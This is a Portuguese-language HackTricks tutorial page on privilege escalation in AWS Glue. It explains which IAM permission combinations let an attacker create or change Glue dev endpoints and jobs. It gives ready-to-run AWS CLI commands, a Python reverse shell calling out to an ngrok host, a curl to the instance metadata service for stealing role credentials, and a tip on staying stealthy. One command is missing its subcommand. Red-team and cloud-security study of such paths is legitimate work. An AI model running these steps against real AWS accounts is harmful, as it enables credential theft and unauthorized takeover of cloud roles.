AWS - Glue Privesc

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

glue

iam:PassRole, glue:CreateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

Usuários com essas permissões podem configurar um novo ponto de extremidade de desenvolvimento do AWS Glue, atribuindo uma função de serviço existente assumível pelo Glue com permissões específicas para este ponto de extremidade.

Após a configuração, o atacante pode acessar via SSH a instância do ponto de extremidade e roubar as credenciais do IAM da função atribuída:

# Create endpoint
aws glue create-dev-endpoint --endpoint-name <endpoint-name> \
--role-arn <arn-role> \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

Para fins de sigilo, é recomendado usar as credenciais IAM de dentro da máquina virtual Glue.

Impacto Potencial: Escalação de privilégios para a função de serviço glue especificada.

glue:UpdateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

Usuários com essa permissão podem alterar um endpoint de desenvolvimento Glue existente chave SSH, habilitando o acesso SSH a ele. Isso permite que o atacante execute comandos com os privilégios da função anexada ao endpoint:

# Change public key to connect
aws glue --endpoint-name target_endpoint \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

Impacto Potencial: Privesc para a função de serviço glue utilizada.

iam:PassRole, (glue:CreateJob | glue:UpdateJob), (glue:StartJobRun | glue:CreateTrigger)

Usuários com iam:PassRole combinado com glue:CreateJob ou glue:UpdateJob, e glue:StartJobRun ou glue:CreateTrigger podem criar ou atualizar um trabalho AWS Glue, anexando qualquer conta de serviço Glue, e iniciar a execução do trabalho. As capacidades do trabalho incluem a execução de código Python arbitrário, que pode ser explorado para estabelecer um shell reverso. Esse shell reverso pode então ser utilizado para exfiltrar as credenciais IAM da função anexada ao trabalho Glue, levando a um acesso ou ações não autorizadas com base nas permissões dessa função:

# Content of the python script saved in s3:
#import socket,subprocess,os
#s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#s.connect(("2.tcp.ngrok.io",11216))
#os.dup2(s.fileno(),0)
#os.dup2(s.fileno(),1)
#os.dup2(s.fileno(),2)
#p=subprocess.call(["/bin/sh","-i"])
#To get the IAM Role creds run: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy


# A Glue role with admin access was created
aws glue create-job \
--name privesctest \
--role arn:aws:iam::93424712358:role/GlueAdmin \
--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}'

# You can directly start the job
aws glue start-job-run --job-name privesctest
# Or you can create a trigger to start it
aws glue create-trigger --name triggerprivesc --type SCHEDULED \
--actions '[{"JobName": "privesctest"}]' --start-on-creation \
--schedule "0/5 * * * * *"  #Every 5mins, feel free to change

Potencial Impacto: Privesc para a função de serviço do Glue especificada.

glue:UpdateJob

Apenas com a permissão de atualização, um atacante poderia roubar as Credenciais IAM da função já anexada.

Potencial Impacto: Privesc para a função de serviço do Glue anexada.

Referências

Aprenda hacking na AWS de zero a herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Última actualización